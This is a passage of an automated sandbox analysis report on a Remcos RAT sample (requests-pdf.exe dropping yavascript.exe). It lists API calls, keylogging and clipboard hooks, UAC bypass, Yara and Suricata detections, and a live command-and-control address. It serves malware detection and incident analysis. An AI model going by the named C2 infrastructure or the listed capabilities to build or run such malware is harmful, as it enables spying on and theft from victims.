              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,25_2_00418C69
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,25_2_00408DA7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E900E __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,25_2_024E900E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FB696 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,25_2_024FB696
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024EB59C FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,25_2_024EB59C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0252D850 FindFirstFileExA,25_2_0252D850
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024F8ED0 FindFirstFileW,25_2_024F8ED0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E7CF3 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,25_2_024E7CF3
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E6D29 FindFirstFileW,FindNextFileW,25_2_024E6D29
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,0_2_00406F06

              Networking

              barindex
              Suricata IDS alerts for network traffic
              Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49705 -> 198.23.227.212:32583
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorIPs: 198.23.227.212
              Source: global trafficTCP traffic: 192.168.2.5:49705 -> 198.23.227.212:32583
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 198.23.227.212 198.23.227.212
              Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49714 -> 178.237.33.50:80
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownTCP traffic detected without corresponding DNS query: 198.23.227.212
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004260F7 recv,0_2_004260F7
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: global trafficDNS traffic detected: DNS query: geoplugin.net
              Source: yavascript.exeString found in binary or memory: http://geoplugin.net/json.gp
              Source: yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp-/
              Source: yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp.
              Source: requests-pdf.exe, 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, requests-pdf.exe, 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, requests-pdf.exe, 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, yavascript.exe, 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, yavascript.exe, 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, yavascript.exe, 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, yavascript.exe, 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
              Source: yavascript.exe, 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpSystem32
              Source: yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpll
              Source: yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpo
              Source: yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp~/
              Source: Amcache.hve.4.drString found in binary or memory: http://upx.sf.net

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Contains functionality to register a low level keyboard hook
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004099E4 SetWindowsHookExA 0000000D,004099D0,000000000_2_004099E4
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,0_2_004159C6
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,0_2_004159C6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,15_2_004159C6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,25_2_004159C6
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,0_2_004159C6
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00409B10 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,0_2_00409B10
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTR

              E-Banking Fraud

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000002.2407775443.0000000000B40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432647777.0000000000A98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTR

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Contains functionalty to change the wallpaper
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041BB77 SystemParametersInfoW,0_2_0041BB77
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024EBDDE SystemParametersInfoW,0_2_024EBDDE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041BB77 SystemParametersInfoW,15_2_0041BB77
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250BDDE SystemParametersInfoW,15_2_0250BDDE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041BB77 SystemParametersInfoW,25_2_0041BB77
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FBDDE SystemParametersInfoW,25_2_024FBDDE

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000019.00000002.2407748193.0000000000AFC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
              Source: 0000000F.00000002.4542269098.0000000000AB8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
              Source: 00000000.00000002.2432620205.0000000000A4A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
              Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
              Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
              Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
              Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
